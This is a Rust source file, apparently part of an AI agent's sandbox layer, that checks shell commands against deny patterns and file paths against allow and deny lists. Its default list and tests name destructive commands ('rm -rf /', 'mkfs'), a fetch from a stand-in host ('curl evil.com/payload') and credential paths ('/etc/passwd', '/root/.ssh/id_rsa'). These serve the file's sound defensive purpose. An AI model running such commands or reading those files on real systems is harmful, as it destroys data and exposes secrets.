recursive/tools/
policy_sandbox.rs1use serde::Deserialize;
15
16use crate::error::{Error, Result};
17use crate::permissions::{DecisionReason, RuleSource};
18
19#[derive(Debug, Clone, Deserialize, Default)]
25pub struct FsPolicy {
26 #[serde(default)]
29 pub read_allow: Vec<String>,
30 #[serde(default)]
33 pub write_allow: Vec<String>,
34 #[serde(default)]
36 pub deny: Vec<String>,
37}
38
39#[derive(Debug, Clone, Deserialize, Default)]
41pub struct ShellPolicy {
42 #[serde(default)]
45 pub deny_patterns: Vec<String>,
46}
47
48#[derive(Debug, Clone, Deserialize, Default)]
53pub struct PolicyConfig {
54 #[serde(default)]
55 pub fs: FsPolicy,
56 #[serde(default)]
57 pub shell: ShellPolicy,
58}
59
60impl PolicyConfig {
61 pub fn default_restrictive() -> Self {
65 Self {
66 fs: FsPolicy::default(),
67 shell: ShellPolicy {
68 deny_patterns: vec![
69 "rm -rf /".into(),
70 "rm -rf ~".into(),
71 "mkfs".into(),
72 "> /dev/".into(),
73 ],
74 },
75 }
76 }
77
78 pub fn check_shell(&self, command: &str) -> Result<()> {
81 for pattern in &self.shell.deny_patterns {
82 if command.contains(pattern.as_str()) {
83 return Err(Error::PermissionDenied {
84 name: format!("shell command blocked by policy: matches pattern `{pattern}`"),
85 reason: DecisionReason::Rule {
86 source: RuleSource::Project,
87 pattern: pattern.clone(),
88 },
89 });
90 }
91 }
92 Ok(())
93 }
94
95 pub fn check_fs_path(&self, path: &str, write: bool) -> Result<()> {
100 for denied in &self.fs.deny {
102 if path.starts_with(denied.as_str()) {
103 return Err(Error::PermissionDenied {
104 name: format!("path `{path}` blocked by fs deny policy"),
105 reason: DecisionReason::SafetyCheck {
106 path: path.to_string(),
107 },
108 });
109 }
110 }
111 let allow_list = if write {
113 &self.fs.write_allow
114 } else {
115 &self.fs.read_allow
116 };
117 if !allow_list.is_empty() {
118 let allowed = allow_list
119 .iter()
120 .any(|prefix| path.starts_with(prefix.as_str()));
121 if !allowed {
122 let kind = if write { "write" } else { "read" };
123 return Err(Error::PermissionDenied {
124 name: format!("path `{path}` not in fs {kind} allow list"),
125 reason: DecisionReason::SafetyCheck {
126 path: format!("{path} ({kind})"),
127 },
128 });
129 }
130 }
131 Ok(())
132 }
133}
134
135#[cfg(test)]
140mod tests {
141 use super::*;
142
143 #[test]
144 fn check_shell_allows_safe_command() {
145 let policy = PolicyConfig::default_restrictive();
146 assert!(policy.check_shell("ls -la").is_ok());
147 assert!(policy.check_shell("echo hello").is_ok());
148 assert!(policy.check_shell("cargo test").is_ok());
149 }
150
151 #[test]
152 fn check_shell_blocks_rm_rf() {
153 let policy = PolicyConfig::default_restrictive();
154 let err = policy.check_shell("rm -rf /").unwrap_err();
155 assert!(matches!(err, Error::PermissionDenied { .. }));
156 }
157
158 #[test]
159 fn check_shell_blocks_pattern_substring() {
160 let policy = PolicyConfig::default_restrictive();
161 let err = policy
163 .check_shell("sudo rm -rf / --no-preserve-root")
164 .unwrap_err();
165 assert!(matches!(err, Error::PermissionDenied { .. }));
166 }
167
168 #[test]
169 fn check_shell_custom_pattern() {
170 let policy = PolicyConfig {
171 shell: ShellPolicy {
172 deny_patterns: vec!["curl evil.com".into()],
173 },
174 ..Default::default()
175 };
176 assert!(policy.check_shell("curl safe.com").is_ok());
177 let err = policy.check_shell("curl evil.com/payload").unwrap_err();
178 assert!(matches!(err, Error::PermissionDenied { .. }));
179 }
180
181 #[test]
182 fn check_fs_deny_blocks_path() {
183 let policy = PolicyConfig {
184 fs: FsPolicy {
185 deny: vec!["/etc".into(), "/root".into()],
186 ..Default::default()
187 },
188 ..Default::default()
189 };
190 let err = policy.check_fs_path("/etc/passwd", false).unwrap_err();
191 assert!(matches!(err, Error::PermissionDenied { .. }));
192 let err = policy.check_fs_path("/root/.ssh/id_rsa", true).unwrap_err();
193 assert!(matches!(err, Error::PermissionDenied { .. }));
194 }
195
196 #[test]
197 fn check_fs_allow_list_blocks_outside() {
198 let policy = PolicyConfig {
199 fs: FsPolicy {
200 write_allow: vec!["/workspace".into()],
201 ..Default::default()
202 },
203 ..Default::default()
204 };
205 assert!(policy.check_fs_path("/workspace/foo.txt", true).is_ok());
206 let err = policy.check_fs_path("/tmp/foo.txt", true).unwrap_err();
207 assert!(matches!(err, Error::PermissionDenied { .. }));
208 }
209
210 #[test]
211 fn check_fs_empty_allow_list_allows_all() {
212 let policy = PolicyConfig::default(); assert!(policy.check_fs_path("/anywhere/file.txt", false).is_ok());
214 assert!(policy.check_fs_path("/anywhere/file.txt", true).is_ok());
215 }
216}